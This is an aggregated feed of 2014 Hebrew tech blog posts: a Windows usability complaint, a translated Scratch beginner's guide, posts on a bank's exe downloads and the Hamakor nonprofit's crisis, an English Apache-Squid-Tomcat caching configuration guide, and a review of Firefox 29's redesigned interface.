כשמדברים על מחשבים לצורך עבודה, הבנאדם לא צריך לבזבז הרבה זמן בלהתקין דברים ולסדר את המערכת לפי איך שנוח לו. פשוט צריך להתקין מערכת עם ממשק נוח שקל להתמצא בו ולעבוד.

ולמה שיש עדכונים בוונידוס ההתקנה שלהם לא מיידית? וצריך לבצע ריסטארט למחשב על מנת שהעדכונים יותקנו?

למה כל הסיבוך הזה עם הממשק? למה הם גורמים להרגיש מפגר שיש לך כפתור גדול ולידו כפתור קטן? ולמה בתוכנות המיקום של הכפתורי שליטה (סגירה, הגדלה, מיזעור) נמצעים בכל מיני מקומות שונים ולא במקום אחיד לכולם?

למה יש את מטרו למחשבים שהן לא בעלי מסך מגע??? זה מאד לא הגיוני מה שעשו למה משתמש במחשב רגיל צריך לסבול את הGESTURES בעזרת העכבר? מה רע בממשק הרגיל שכולם מכירים, עם תפריט START כמו שצריך ובלי כל הבלאגן של המטרו.

למה תפריטים חבויים? למה לא פשוט להציג כפתור לכל התפריטים האלה?

למה הכל מסובך בווינדוס? למה? ולמה כל גרסא חדשה של הווינדוס משנים באופן משמעותי הממשק, מה כל פעם המשתמש צריך ללמוד איך לעבוד עם הוונידוס? למה זה לא יכול להשמר שנים ממשק מסויים?

נראה לי קצת חוצפה שמייקרוסופט עושים מה שבא להם ולא חושבים בכלל על המשתמש הפשוט, הזה שנכנס לאתרי חדשות, למיילים, וכותב מסמכים. מה כבר רציתי? להכנס לאנטרנט, למה זה מסובך?

23 August, 2014 05:19 PM

16 August, 2014

Yehuda Bar-Nir

מדריך למתחילים בסקראץ׳

[פוסט זה הוא תרגום של מדריך המשתמש הרשמי של Scratch. תוכלו להוריד את המדריך באנגלית מדף העזרה באתר. הזכויות למקור שמורות ל Lifelong Kindergarten Group, MIT Media Lab. מופץ ברשיון CC-BY-SA 2.0]

Scartch Cat

סקראץ׳ (Scratch) היא שפת תיכנות שמאפשרת ליצור סיפורים אינטראקטיביים, אנימציות, משחקים, מוזיקה ואומנות.

מסך לדוגמה מסקראץ׳

המדריך הזה יאפשר לכם ליצור פרויקט בסקראץ׳.

ליצירת פרויקט חדש, גשו לאתר: http://scratch.mit.edu. אם האתר נפתח באנגלית, ניתן לשנות את שפת הממשק מהתפריט בתחתית הדף. לאחר מכן, לחצו על הכפתור צור.
צור

אם יש לכם כבר חשבון בסקראץ׳, הכנסו למערכת כדי שהפריוקט שלכם ישמר.
כניסה

1 – התחילו לזוז

לבנת זוז

גררו לבנת זוז לאזור התסריטים.

לחצו על הלבנה

לחצו על הלבנה כדי לגרום לחתול לזוז.

2 – הוסיפו צלילים

לבנת נגן בתוף

גררו לבנת נגן בתוף וחברו אותה ללבנת הזוז.

לחצו והקשיבו

לחצו והקשיבו.
אם לא הצלחתם לשמוע, בדקו שהרמקול במחשב שלכם מופעל.

החלפת צלילים

תוכלו לבחור סוג אחר של תופים מהתפריט.

3 – התחילו ריקוד

הוספת לבנת זוז חדשה

הוסיפו לבנת זוז חדשה. לחצו בתוך הלבנה והוסיפו סימן מינוס.

לחצו להפעלה

לחצו על כל אחת מהלבנים כדי להריץ את כל הערמה.

לבנת נגן בתוף נוספת

הוסיפו לבנת נגן בתוף חדשה, והחליפו את סוג התוף מהתפריט. לחצו להרצה.

4 – שוב ושוב

לבנת חזור

גררו לבנת חזור והצמידו אותה לראש הערמה. הפה של לבנת החזור צריך לעטוף את שאר הלבנים.

כדי לגרור את הערמה, יש לתפוס אותה מהלבנה העליונה.

שינוי מספר החזרות

תוכלו לשנות את מספר החזרות שיבוצעו.

לחצו כדי להריץ.
אפשר ללחוץ על כל אחת מהלבנים להרצת הערמה כולה.

5 – אמרו משהו

לבנת אמור

לחצו על קטגוריית המראה וגגרו החוצה לבנת אמור.

שינוי טקסט

לחצו בתוך לבנת האמור והקלידו כדי לשנות את המילים. לחצו כדי לנסות.

חברו לראש הערמה

אחר-כך, חברו את לבנת האמור להתחלה.

6 – דגל ירוק

כאשר לוחצים על הדגל הירוק

גררו לבנת כאשר לוחצים על הדגל הירוק וחברו אותה להתחלה.

הפעלת הדגל הירוק

בכל פעם שלוחצים על הדגל הירוק, התסריט מתחיל לפעול.
להפסקה, לחצו על כפתור העצור.

7 – שנו צבע

עכשיו, נסו משהו שונה…

לבנת שנה אפקט

גררו לבנת שנה אפקט.

לחצו על לבנת שנה אפקט
לחצו כדי לראות מה קורה.

8 – לחיצה על מקשים

לבנת כאשר נלחץ מקש

חברו לבנת כאשר נלחץ מקש

עכשיו, לחצו על מקש הרווח במקלדת שלכם.

בחירת מקש

תוכלו לבחור מקש שונה מהתפריט

9 – הוסיפו רקע

תוכלו להוסיף רקע לבמה.

בחירת רקע

לחצו כפתור רקע כדי לבחור רקע חדש.

בחרו רקע מהספריה (למשל "spotlight-stage").

ספרית הרקעים

לחצו אישור.

הרקע החדש מופיע כעת על הבמה.

הרקע החדש

10 – הוסיפו דמות

כל אוביקט (משתתף) בסקראץ׳ נקרא דמות.
להוספת דמות חדשה, לחצו על אחד הכפתורים האלה:

כפתורי הוספת דמות

כפתורי הוספת דמות:

דמות מהספריה בחרו דמות מהספריה

צייר דמות ציירו דמות משלכם

דמות מקובץ העלו דמות/תמונה מקובץ

דמות ממצלמת רשת צלמו תמונה (ממצלמת רשת)

כדי להוסיף את הדמות הזאת:
קייסי רוקדת
לחצו על דמות מהספריה ואז לחצו על קטגורית אנשים ובחרו את הדמות "cassy dance" (קייסי רוקדת).

תוכלו לגרור את הדמויות ולמקם אותן על הבמה.
גררו את הדמות

11 – חקרו!

עכשיו תוכלו להגיד לדמות מה לעשות. נסו את האפשרויות הבאות או חקרו בעצמכם.

הוסיפו צליל:
צלילים

לחצו על לשונית הצלילים. תוכלו לבחור צליל בחר צליל, להקליט צליל משלכם הקלטה, או ליבא מקובץ צליל מקובץ. (בפורמט AIF, MP3 או WAV)

הוספת צליל לתסריט
עכשיו לחצו על לשונית התסריטים וגררו לבנת נגן צליל לתסריט. בחרו את הצליל מהתפריט.

שנו תלבושות:
תלבושות

לכל דמות יכולות להיות מספר תלבושות.
לשינוי התלבושת הנוכחית, לחצו על לשונית התלבושת.
אחר-כך לחצו על תלבושת שונה לדמות.

צרו אנימציה:
אנימציה

תוכלו ליצור אנימציה ע"י החלפת תלבושות.
לחצו על לשונית התסריטים.
צרו תסריט שמחליף בין התלבושות.

12 – טיפים!

שם לפרויקט
תנו שם לפרויקט שלכם.

לרעיונות נוספים, לחצו על טיפים:
טיפים

חלון טיפים

חלון הטיפים מראה דוגמאות תסריטים שבהם תוכלו להשתמש בפרויקט.

הוא גם מסביר מה כל אחת מהלבנים של סקראץ׳ עושה.

שמור ושתף

כדי לשמור את הפרויקט ברשת, הקפידו להתחבר לאתר. התחבר

(אם תרצו לשמור את הפרויקט במחשב שלכם, לחצו על תפריט קובץ ובחרו באפשרות: ״הורד למחשב שלך״.)

כאשר אתם מוכנים, לחצו על ראה דף פרויקט

דף פרויקט
דף פרויקט

לחצו מסך מלא לקבלת מסך מלא.

לחצו שיתוף כדי שאחרים יוכלו לצפות ולשחק בפרויקט שלכם. כאשר אתם משתפים, אחרים יכולים לבקר ולשחק בפרויקט שלכם.

הוסיפו הערות לפרויקט.

מה עכשיו? תוכלו לצור פרויקט חדש או לחקור לקבלת רעיונות.

כדי ללמוד עוד, לחצו עזרה או גלשו אל http://scratch.mit.edu/help (אנגלית).

למי שרוצה להעמיק עוד יותר, מומלץ לקרוא את הספר בעברית: עקרונות ומושגים במדעי המחשב דרך Scratch, מאת מיכל ארמוני ומוטי בן-ארי. ניתן להוריד את הספר בחינם. שימו לב: הספר נכתב לגרסה 1.4 של סקראץ׳. ניתן להוריד מאותו קישור דף הסבר על השינויים בגרסה 2.

16 August, 2014 03:02 PM

27 July, 2014

Amir Aharoni

ארכיון

אני יכול לקרוא באתר הבנק מכתבים שלפני עידן האינטרנט הבנק היה שולח לי בדואר. זה טוב, כי רובם לא חשובים מספיק בשביל לשלוח בדואר.
אבל מדי פעם מגיע משהו חשוב שאני רוצה לשמור במחשב. ניסיתי לשמור עכשיו מכתב אחד באמצעות כפתור השמירה. ואז הדפדפן שואל אותי אם אני רוצה לשמור קובץ בשם archive.exe.

קראתם נכון, exe.

בנק לאומי, אנחנו ב־2014. יש היום יותר אנשים שמשתמשים במערכות הפעלה שלא יכולות לפתוח קובצי exe מאנשים שמתקשים לפתוח קובצי zip. מהירות הרשת כבר מזמן ביטלה כל צורך להשתמש בכיווץ קבצים, בוודאי כשמדובר בקובץ בודד.

אנא אפשרו לי להוריד את המכתב הזה בתור קובץ טקסט, PDF, ליברה אופיס או לפחות וורד.


נ״ב: בשדות שם המשתמש והססמה אתם עדיין מגדירים dir="rtl", למרות שהם תמיד כתובים משמאל לימין. זה אמור להיות תיקון של שורה אחת. יהיה נחמד אם תתקנו את זה.


27 July, 2014 08:49 AM

16 May, 2014

Tomer Cohen

עמותת המקור במשבר — עזרתכם נדרשת!

ביום חמישי האחרון התקיימה האספה השנתית של עמותת המקור, במטרה לסכם את הפעילות בשנה האחרונה ולבחור את נציגיה בוועד הנהלת העמותה ובוועדת הביקורת כפי שמחייב החוק.

האספה נקבעה להתכנס בשעה 18:00, ונראה שלמרבית המשתתפים הזמן היה רק המלצה. מודה, אני איחרתי במספר דקות והתנצלתי על כך מול הנוכחים מיד כשנכנסתי, אבל עבור אחרים שהגיעו לאחר 19:00 זה לא נראה חריג להגיע באיחור. ובכן, אם היה קיים קושי כלשהו להגיע בזמן וזה היה ידוע לכם מראש למה לא ביקשתם להתחיל את המפגש בשעה מאוחרת יותר? למה לגרום לאחרים להזדרז להגיע בזמן ולהתייבש בהמתנה שתגיעו אם לכם יש תכניות אחרות?

האספה התחילה בשעה 19:00 עם חבר ועד העמותה, אדיר אברהם שנשא דברים על פעילויות העמותה בשנה האחרונה.אני מציג פה את הפעילויות כפי שאני זוכר אותן כעת כי לא טרחתי לסכם אותן בזמן אמת, ואני מצטער אם אני משמיט פרטים חשובים.

לאחר הצגת הפעילויות השונות וגם חזרה עליה לטובת המאחרים המשיך אדיר והציג בפנינו קצת מהווי הפעילות בוועד העמותה. לטענתו, שזכתה גם לגיבוי מצד חבר וועדת הביקורת, הוא ביצע כ־95% מכלל הפעילות בעמותה כאשר שני חברי הוועד האחרים מופיעים ונעלמים לסירוגין, ומטלות שמועברות אליהן עלולות להתפספס והזמינות שלהם באמצעי הקשר הקיימים שואפת לאפס בתקופות מסוימות. כתוצאה מכך משימות שלמות חומקות מבין אצבעותינו או תקועות עד שמישהו לוקח יוזמה ומטפל בנושא בעצמו (למשל משימת איסוף הקלטות הווידאו והעלאתן לאתר העמותה שהייתה תקועה במשך זמן רב בטיפולו של אחד מחברי הוועד והושלמה רק לאחר שחברת עמותה יקרה נקטה יוזמה ולקחה על עצמה את האחריות על משימה זו).

כתוצאה מבעייתיות פעילות חברי הוועד הגיעה העמותה למבוי סתום. חסרים מסמכים הדרושים לצורך קיום האספה לפי התכנית שנקבעה מראש ולפי דרישות רשם העמותות, ולמעשה, אין כרגע בידינו אפילו רישום מסודר ומעודכן של חברי העמותה מה שבאופן פרקטי מונע את ביצוע ההצבעה על בחירת חברי הוועד הנכנס.

כתוצאה מכשלים אלו, בצער רב הובאה בפנינו ההחלטה על קיומה של אסיפה נוספת בעוד חודש מהיום עם ההצעה לפרק את העמותה שעולה על הפרק. כדי למנוע את ההחלטה הזו צריכים עד אז להמציא רוב של חברים שיחליטו למנוע צעד זה ויציעו את עצמם לכהן בוועד הנכנס. עבור הוועד הנכנס כנראה תהיה עבודה רבה וממושכת לשמר את קיום העמותה במתכונתה הנוכחית, אבל אם טובת הקהילה חשובה לנו עלינו להשקיע לטובת שימור העמותה.

 

עמותת המקור קיימת קצת יותר מעשור, ומטרותיה המוצהרות הן קידום של קוד פתוח ותוכנה חופשית בארץ. בימיה הראשונים של העמותה מונחי חופש תוכנה, וקוד פתוח לא היו שגורים בפיהם של אנשי טכנולוגיה והציבור הכללי, ובשנים האחרונות נראית גדילה משמעותית בשימוש במושגים אלו ובכוח שלנו לדרוש תאימות לתוכנות קוד פתוח ואף לקדם מיזמים ציבוריים שמטרתם לשפר את נגישות הציבור למידע.

במהלך השנים עמותת המקור פעלה רבות לטובת שיפור ההיכרות של הקהל הרחב עם מושגים מעולם התוכנה החופשית והקוד הפתוח. פעילים בעמותה השתתפו בישיבות בוועדות ממשלתיות ועוזרים לנו לשנות את החוקים הקיימים במדינה כך שיכירו בקיומן של תוכנות חלופיות למערכות הפעלה ותוכנות שנמצאות בשליטתם של תאגיד בודד. קיומם של כנסים דוגמת הכנס לקוד פתוח במגזר הביטחוני מאפשרים לראשונה שיתוף פעולה בין זרועות ביטחוניות שונות ומוציאים בכל שנה עשרות צעירים למגזר הפרטי שמגיעים אליו עם היכרות רבה עם תפישה זו ועוזרים לנו לקדם את הרעיון הלאה. קיום כנס אוגוסט פינגווין מאפשר לנו להיפגש כקהילה במפגש פנים מול פנים ולהחליף דעות ורעיונות. המשאבים שהעמותה מעמידה בדמות שרתים ומערכות מאפשר לנו כפעילי תוכנה חופשית בארץ להמשיך לפעול עם הגב הקיים של עמותה המחברת בין הפעילים השונים.

כפי שכתבתי קודם, לדעתי זה לא הזמן לחסל את העמותה. רעיונותיה חשובים לנו ואנחנו עדיין מאמינים בהם. מחסור במתנדבים זו בעיה לא חדשה בעמותה ולדעתי נובעת בעיקר מחוסר הרצון של הפעילים השונים להכניס יד בריאה למיטה חולה. כדי שהעמותה תתנהל כמו שצריך אנחנו צריכים בראש ובראשונה אנשים רציניים שיכהנו בתפקידים הקיימים וכמה שיותר פעילים שונים שיפעלו בעמותה במסגרות השונות. אף־אחד מעולם לא קבע שהעמותה צריכה להיות מופעלת עם כמות של שישה פעילים בלבד שמקיימים בניהם רוטציה בתפקידים השונים, ואם אנחנו כקהילה פעילה של כמה עשרות או מאות פעילים עדיין רואים את עצמנו כחלק מהעמותה, עלינו להתחיל לחשוב איך אנחנו רוצים שתיראה העמותה בעתיד.

הטקסט המלא

16 May, 2014 10:34 AM

14 May, 2014

Amit Tal

התקנת סביבת פיתוח לאינטרנט עם אובונטו 14.04

למדריך התקנת פיתוח לאינטרנט עם אובונטו 14.04 לחצו כאן

ועכשיו ההסבר:
הקישור מוביל לאתר חדש שאני עובד עליו. האתר פונה למפתחי אינטרנט ומעצבי אינטראקטיב ויעסוק בנושאים הקשורים לעיצוב אינטראקטיבי, פיתוח פרונט-אנד וכדו'.
האתר נמצא כרגע בפיתוח אבל אני כבר מתחיל לפרסם בו פוסטים אז אתם מוזמנים לעקוב ויותר מכך, להעיר.
אם מצאתם אי דיוקים או שמשהו בעיצוב מפריע לכם אני אשמח לשמוע ולתקן. קליק >

הטקסט המלא

14 May, 2014 01:34 PM

27 April, 2014

Dan Fruehauf

Apache, Squid, Tomcat

This is going to be a quick “grocery list” to get a configuration of Apache -> Squid -> Tomcat going, allowing for a cache of multiple webapps at the same time.

The Common Case – Apache & Tomcat

Commonly people would have a configuration of Apache -> Tomcat serving web applications. However sometimes you would like to add that extra bit of simple caching for that webapp. Sometime it can really speed up things!!

Assuming you have Tomcat all configured and serving a webapp on http://localhost:8080/webapp and a vhost in apache which would look like:

<VirtualHost *:80>
  ServerName www.webapp.com

  LogLevel info
  ErrorLog /var/log/apache2/www.webapp.com-error.log
  CustomLog /var/log/apache2/www.webapp.com-access.log combined

  ProxyPreserveHost On

  ProxyPass           /webapp http://localhost:8080/webapp
  ProxyPassReverse    /webapp http://localhost:8080/webapp

  RewriteEngine On
  RewriteOptions inherit
  RewriteLog /var/log/apache2/www.webapp.com-rewrite.log
  RewriteLogLevel 0

</VirtualHost>

Simple! Just forward all /webapp requests to http://localhost:8080/webapp

Squid In The Middle

A simple squid configuration for us would look like:

# some boilerplate configuration for squid
acl manager proto cache_object
acl localhost src 127.0.0.1/32
acl to_localhost dst 127.0.0.0/8 0.0.0.0/32
acl localnet src 10.0.0.0/8
acl localnet src 172.16.0.0/12
acl localnet src 192.168.0.0/16
acl Safe_ports port 80
acl Safe_ports port 443	
acl Safe_ports port 8080-8100 # webapps
acl purge method PURGE
acl CONNECT method CONNECT

http_access allow manager localhost
http_access deny manager
http_access allow purge localhost
http_access deny purge
http_access deny !Safe_ports
http_access allow localhost
http_access allow localnet
http_access deny all

icp_access allow localnet
icp_access deny all
http_port 3128

hierarchy_stoplist cgi-bin ?
access_log /var/log/squid/access.log squid
hosts_file /etc/hosts
coredump_dir /var/spool/squid3

# adjust your cache size!
cache_dir ufs /var/cache/squid 20480 16 256
cache_mem 5120 MB

#################################
# interesting part start here!! #
#################################
# adjust this to your liking
maximum_object_size 200 KB

# required to handle same URL with different parameters differently
# so for instance these two following URLs are treated as distict URLs, hance they will
# be cached separately
# http://localhost:8080/webapp/a?param=1
# http://localhost:8080/webapp/a?param=2
strip_query_terms off

# just for some better logging
logformat combined %>a %ui %un [%tl] "%rm %ru HTTP/%rv" %>Hs %<st "%{Referer}>h" "%{User-Agent}>h" %Ss:%Sh

# refresh_pattern is subject to change, but if you decide to cache a webapp, you must make sure it actually gets cached!
# many webapps do not like to get cached, so you can play with all sorts of parameters such as override-expire, ignore-reload
# and ignore-no-cache. the following directive will SURELY cache any page on the following webapp for 1 hours (60 minutes)
# adjust the regexp(s) below to suit your own needs!!
refresh_pattern http://localhost:8080/webapp/.* 60 100% 60 override-expire ignore-reload ignore-no-cache

Now, we need to plug apache to use the above squid configuration. Luckily it’s pretty simple, the only line you need is:

# basically every request going to http://localhost:8080/webapp, pass via squid
ProxyRemote http://localhost:8080/webapp http://localhost:3128

And the whole vhost again:

<VirtualHost *:80>
  ServerName www.webapp.com

  LogLevel info
  ErrorLog /var/log/apache2/www.webapp.com-error.log
  CustomLog /var/log/apache2/www.webapp.com-access.log combined

  ProxyPreserveHost On
  ProxyRemote http://localhost:8080/webapp http://localhost:3128

  ProxyPass           /webapp http://localhost:8080/webapp
  ProxyPassReverse    /webapp http://localhost:8080/webapp

  RewriteEngine On
  RewriteOptions inherit
  RewriteLog /var/log/apache2/www.webapp.com-rewrite.log
  RewriteLogLevel 0

</VirtualHost>

That’s it, now look at /var/log/squid/access.log and look for TCP_MEM_HIT and TCP_HIT. If you’re still getting TCP_MISS and the like, you’ll have to adjust your refresh_pattern in the squid configuration.

Multiple Webapps?

Not a problem if you have multiple webapps, if you want them to be cached, just add the magic line passing them through squid and the relevant squid refresh_pattern.

Don’t want a webapp to be cached? Just bypass the squid!


27 April, 2014 03:41 AM

22 April, 2014

Tomer Cohen

המראה החדש של פיירפוקס

בעוד מספר ימים יצא עדכון לגרסה חדשה של פיירפוקס. עדכון זה יכלול שינוי משמעותי במראה הדפדפן שמוזילה עמלים עליו מזה זמן רב ויצא לי לעקוב אחריו מקרוב בחודשים האחרונים. ברשומה זו אסקןר את השינויים הבולטים.

ברצוני להקדים ולהגיב לחששות של אלו שמתלוננים כי פיירפוקס הולך והופך לאחיו התאום של דפדפן גוגל כרום. זה לא המצב, ומהר מאד נעלם הדמיון העיצובי בין שני הדפדפנים. למעשה, ניתן לטעון באותה מידה שגוגל כרום ופיירפוקס דומים בעיצוב שלהם לאופרה וספארי, שכוללים עיצוב דומה מאד לזה של אינטרנט אקספלורר, ושכולם בעצם דומים לדפדפנים שנעלמו זה מכבר מהעולם דוגמת מוזיאק.

דפדפן האינטרנט הראשון הראשון נקרא WorldWideWeb והוא פותח למעשה יחד עם פרוטוקול HTTP ושפת העיצוב HTML. ככזה, הוא היה הדפדפן שנתן את הטון וכל הדפדפנים שבאו אחריו היו חייבים לחקות את אופן עבודתו. בשנים שלאחר מכן הופיעו דפדפנים נוספים שכל אחד מהם אימץ את התכונות והמראה של קודמיו ובמקביל השמיט דברים שנראו למפתחיו מיותרים. מספר שנים לאחר מכן שוק הדפדפנים די התייצב עם דפדפנים כגון "נטסקייפ", "אינטרנט אקספלורר" ונוספים, שגרמו להכחדתם של הדפדפנים החלוציים ולמעשה יצרו מעין מראה אחיד בין הדפדפנים השונים במראה ובתפקודם. באותה תקופה כבר הופיעו כפתורי ניווט קדימה ואחורה בהיסטוריה, המושג "דף בית" שמוביל לדף שנבחר על־ידי המשתמש כנקודת מוצא לגלישה ברשת, סימניות/מועדפים וכדומה.

שנים לאחר מכן, עם צמיחתה של רשת האינטרנט והשיפורים הרבים בכוח המחשוב השתנתה גם התנהגותם של משתמשי הרשת, ובמקום לגשת לדף בודד הם התחילו לפתוח מספר דפים במקביל, והשלב האבולוציוני הבא היה התווספותן של הלשוניות (או כרטיסיות, או טאבים, כפי שבוודאי הבנתם אין הסכמה ברורה על המושגים והמונחים). הלשוניות הופיעו בהתחלה בדפדפני נישה דוגמת נטקפטור, ובהמשך הגיעו לדפדפנים נפוצים יותר דוגמת אופרה ומוזילה. דפדפן אינטרנט אקספלורר באותה תקופה היה הנפוץ ביותר עם גרסאות 5.5 ו־6, והיה נראה שמפתחיו מסרבים להאמין שהאופנה החדשה תתפוס, עד שלבסוף הופיעו גם בו לשוניות, בהתחלה כסרגל כלים נלווה ולראשונה כחלק מהדפדפן כשיצא אינטרנט אקספלורר 7, אם כי עברו עוד מספר שנים עד שאפשר היה להשוות את היכולות של תכונה זו לדפדפנים אחרים שהקדימו לאמץ את ממשקי הלשוניות.

כשגוגל כרום הגיח לאוויר העולם כבר כל הדפדפנים כללו תמיכה בלשוניות, מראה סרגל הניווט בניהם היה די אחיד, ולגוגל, כחדשים בשוק הדפדפנים הייתה אפשרות יקרה מפז לנסות לחדש בתחום מבלי שמשתמשים ותיקים יתלוננו שהם מנסים לשנות להם הרגלים קודמים. כשגוגל עבדו על פיתוח הדפדפן שלהם לא זאת בלבד שהייתה להם האפשרות לשכור אנשים שעבדו בעברם על פיתוחים של דפדפנים אחרים, והאפשרות לעקוב מקרוב (וגם מבפנים, כאשר מדובר בדפדפנים שמפותחים בשקיפות מלאה לציבור, כמו במקרה של פיירפוקס), אלא גם האפשרות לממש שינויים שאצל האחרים היו קיימים ברמת אב טיפוס בלבד וטרם שולבו במוצרים עצמם.

גוגל ביצעו את השינוי המיוחל שלקח לדפדפנים האחרים זמן מה לממש בעצמם. גוגל הציגו לקהל דפדפן ששם את הגלישה במרכז ומצמצם למינימום את הממשק שמסביב, ובכך עוזר למשתמש למקד את המשתמש באתר עצמו כאשר מהממשק המשתמש הוסרו לחלוטין אלמנטים רבים לרבות שורת התפריטים, תיבת החיפוש ועוד. למרות זאת, נשאר דמיון ניכר לעין בין המראה של גוגל כרום לזה של שאר הדפדפנים מהתקופה – לשוניות, שורת כתובת, כפתורי ניווט וכדומה; אף־אחד לא האשים את גוגל בהעתקת אלמנטים מהמראה של דפדפנים אחרים פשוט כי מדובר ברכיבי הממשק שהורגלנו אליהם והשתמשנו בהם בקביעות. עברו מספר שנים מאז, והמראה של גוגל כרום לא השתנה באופן ניכר לעין.

Google Chrome 1 UI taken from Google Chrome comic book

תרשים הממשק של גוגל כרום כפי שהוצג לראשונה בחוברת הקומיקס של גוגל.

דפדפנים אחרים לא קפאו על שמריהם בשנים שעברו מאז, וכל אחד מהם השקיע מאמצים רבים בפיתוח של תכונות חדשות בממשק הדפדפן ולעתים קרובות גם אימוץ של תכונות שהופיעו בצורה זו או אחרת בדפדפנים אחרים. אני מתייחס ברשומה זו לתכונות הקשורות לממשק המשתמש אבל חשוב לזכור כי הדפדפנים הם לא רק המעטפת אלא גם המנוע שאחראי להצגת התכנים, ובשנים האחרונות המנועים של כל הדפדפנים עברו שדרוגים משמעותיים.

למשל שורת הכתובת, שבעבר הופיעו בה כתובות קודמות שהמשתמש ביקר בהן כעת הפכו לחכמות יותר; גוגל למשל נוהגים לשלב בהן בכרום תוצאות חיפוש, בעוד בפיירפוקס ניתן דגש להיסטורית הגלישה של המשתמש ולסימניות. דפי הפתיחה הפכו להיות מותאמים יותר למשתמש ומציגים את האתרים המועדפים על המשתמש, וכדומה. באופן דומה לשינויי הממשק ביישומים אחרים, דוגמת סרגלי הכלים של Microsoft Office בגרסאותיו האחרונות, שינוי אופן השימוש בסביבות עבודה מובילות בלינוקס דוגמת Gnome ו־KDE, כיום מקובל לתת דגש רב יותר על הפעולות שנמצאות בשימוש תדיר, ולהצניע כפתורים ופעולות שהמשתמש אינו נוהג להשתמש בהן.

לאחר הקדמה ארוכה זו, כאן אנחנו מגיעים חזרה להווה, ואל השינויים שרציתי להתייחס אליהם בקשר לגרסה החדשה של פיירפוקס.

אחידות – בראש ובראשונה המראה החדש של פיירפוקס נועד לייצר אחידות בין הגרסאות השונות של הדפדפן. כיום ישנן גרסאות של הדפדפן למחשבים, לטלפונים חכמים מבוססי אנדרואיד וגם למערכת ההפעלה שמוזילה עמלים כרגע על הפיתוח שלה, Firefox OS. כמו כן, במחשבים אישיים הדפדפן זמין לשלוש פלטפורמות שונות, ווינדוס, מקינטוש ולינוקס, והמראה בניהן לא תמיד היה זהה. המראה החדש של פיירפוקס מופיע כעת לראשונה במחשבים האישיים, אבל אפשר היה להבחין במוטיבים שונים ממנו בגרסה לאנדרואיד מזה זמן מה, כך שמדובר כעת באיחוד המראה של הדפדפן והפונקציונליות שלו בין סביבות עבודה שונות. במקור תוכן גם עיצוב ממשק דומה עבור ממשק המטרו של ווינדוס 8, אבל לאחרונה הוחלט להקפיא את העבודה עליו עקב היעדר דרישה לו מצד קהל המשתמשים.

לחצו כדי לצפות במצגת.

לשוניות חלקות – בראשית ימיהן, שורת לשוניות בדפדפנים הייתה דומות בצורה ויזואלית לשורת כפתורים כאשר כל כפתור מעביר לדף הנבחר. בהמשך הן קיבלו מראה שמזכיר במקצת מראה תלת ממדי כאשר האתר הפעיל היה מופיע בצורה מובלטת יותר משאר האתרים. בגרסה החדשה של פיירפוקס הלשוניות זכו למראה חלק ונעים לעין.

המראה החדש של פיירפוקס במחשב האישי

שורת התפריטים מפנה את מקומה – שורת התפריטים היא שריד מתקופה בה ממשקי משתמש כללו עשרות פריטים מוסתרים בתפריטים. נהוג היה לקבץ פריטים דומים בתפריט אחד, כך שלמשל הפעולות של פתיחה ושמירת קבצים היו מופיעות תחת תפריט "קובץ", ופעולות גזירה והדבקה של טקסט בתפריט "עריכה", אבל עם הזמן נוספו לתפריטים פעולות שלא ברור למה הן מוקמו באותם המקומות כמו פעולת ההדפסה בתפריט "קובץ" למרות שלכאורה לא מדובר כאן בפעולה שקשורה ישירות למערכת הקבצים, ומוסכמות מוזרות יותר כמו תפריט "כלים" שכלל אוסף לא ברור של פעולות בניהן האפשרות לגשת להגדרות היישום (כלים ← אפשרויות), בעוד במערכות הפעלה אחרות אותו פריט הגדרות הסתתר בכלל בתפריט עריכה (עריכה ← העדפות). בגרסה זו הוגדר כי תפריטי הכלים לא יופיעו כלל, אבל אל דאגה, הם עדיין קיימים ונגישים בלחיצה על המקש Alt במקלדת ובקיצורי מקשים דומים.

תפריט מאוחד חדש – ההחלטה להעלים את שורת התפריטים לא חדשה, ולמעשה בסביבות עבודה מסוימות התפריטים מוסתרים כבר מזה זמן מה. את התפריטים החליף כפתור כתוב עם הכיתוב Firefox שהיה מופיע גם בצבעים שונים בהתאם לגרסה שהופעלה ולמצב הגלישה הפרטי. בגרסה זו של פיירפוקס הוחלף התפריט הטקסטואלי בתפריט מאוחד חדש שכולל צלמיות גדולות וברורות לפעולות נפוצות נוספות.

Firefox 29 menu panel screenshot

לוח התפריט המאוחד בפיירפוקס 29

התאמה אישית של פקדי הממשק – רבים נוהגים להשוות את פיירפוקס לדפדפנים אחרים כפי שכתבתי בתחילתה של רשומה זו. אותם אנשים לעתים קרובות מתעלמים מיכולות ההתאמה האישית המגוונות של פיירפוקס, המאפשרות לשלוט באופן מיטבי במראה הדפדפן וגם בפונקציונליות הממשק שלו. בגרסה זו הוחלף מנגנון ההתאמה האישית של הממשק במסך התאמה אישית חדש, המאפשר למשתמשים להזיז כל אחד מהפקדים בממשק, ולראשונה גם לשלוט בפקדים שיופיעו בתפריט.

Firefox 29 customization screenshot

התאמה אישית של פקדי הדפדפן

יכולות ההתאמה האישית מאפשרות להזיז את הפקדים השונים בממשק ואף להסיר פריטים שלא נחוצים. למשל אנשים שלא מעוניינים בתיבת חיפוש יכולים להסיר אותה ללא חשש ולהמשיך לבצע את החיפושים דרך תיבת המיקום (שורת הכתובת). אנשים שמעוניינים להשתמש בדפדפן לצורכי תצוגה יכולים לבחור להסיר מהדפדפן את תיבת המיקום כמו גם את שאר הכפתורים בממשק ובכך להקשות על משתמשים מזדמנים לעבור לאתרים אחרים. למעשה, בזכות אפשרויות ההתאמה האישית בתפריט החדש ניתן אף למקם בתוכו פקדים שונים כרצונם, ואנשים מוכשרים שהתפריט כלל אינו נחוץ להם יכולים לבחור להסיר ממנו את כל הפקדים.

פיירפוקס עם מראה מותאם אישית

פיירפוקס עם מראה מותאם אישית

בר הרחבה – ללא ספק, הרחבות מאפשרות לשנות את מראה הדפדפן ואופן התפקוד שלו. המראה החדש שומר על קו עיצובי עם המראה של הדפדפן בסביבות אחרות, אבל לא נחסמת האפשרות לבצע בו שינויים ושיפורים הן באמצעות תפריטי היישום, העדפות נסתרות, ערכות נושא והרחבות. אנשים שלא אוהבים את המראה החדש של הדפדפן יכולים, למשל, לבחור להשתמש בהרחבה Classic Theme Restorer המתיימרת להחזיר לדפדפן את המראה השמרני והמרובע, או להתקין כל אחת מאלפי ערכות הנושא הזמינות באתר התוספות.

